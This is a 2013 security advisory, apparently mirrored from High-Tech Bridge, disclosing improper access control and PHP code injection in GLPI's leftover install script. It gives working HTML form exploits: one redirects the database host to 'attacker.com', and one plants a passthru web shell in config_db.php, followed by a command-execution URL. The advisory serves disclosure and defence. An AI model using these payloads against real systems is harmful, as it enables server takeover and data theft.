Lucene search

K
htbridgeHigh-Tech BridgeHTB23173
HistorySep 11, 2013 - 12:00 a.m.

Remote Code Execution in GLPI

2013-09-1100:00:00
High-Tech Bridge
www.htbridge.com
356

0.686 Medium

EPSS

Percentile

98.0%

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.

  1. Improper Access Control in GLPI
    The vulnerability exists due to insufficient access restrictions to the installation script β€œ/install/install.php”, which is present by default after application installation. A remote attacker can change application’s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.
    Simple exploit below changes the database hostname to β€œattacker.com”, which forces the application to connect to a malicious database controlled by the attacker:
    <form action=β€œhttp://[host]/install/install.php” method=β€œpost” name=β€œmain”>
    <input type=β€œhidden” name=β€œinstall” value=β€œupdate_1”>
    <input type=β€œhidden” name=β€œdb_host” value=β€œattacker.com”>
    <input type=β€œsubmit” id=β€œbtn”>
    </form>

  2. Arbitrary PHP Code Injection in GLPI
    The vulnerability exists due to insufficient validation of user-supplied input passed to the β€œdb_host”, β€œdb_user”, β€œdb_pass”, and β€œdatabasename” HTTP POST parameters via β€œ/install/install.php” script [that is present by default after application installation] before writing data into β€œ/config_db.php” file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
    Simple exploit below injects β€œpassthru($_GET[β€˜cmd’])” PHP code into β€œconfig_db.php” file allowing a remote attacker to execute arbitrary system command with privileges of the web server:
    <form action=β€œhttp://[host]/install/install.php” method=β€œpost” name=β€œmain”>
    <input type=β€œhidden” name=β€œinstall” value=β€œupdate_1”>
    <input type=β€œhidden” name=β€œdb_host” value=β€œ'; } passthru($_GET[β€˜cmd’]); /*”>
    <input type=β€œsubmit” id=β€œbtn”>
    </form>
    After that attacker can access the web shell to execute system commands via the following URL:
    http://[host]/index.php?cmd=ls -la; id; pwd;

CPENameOperatorVersion
glpile0.84.1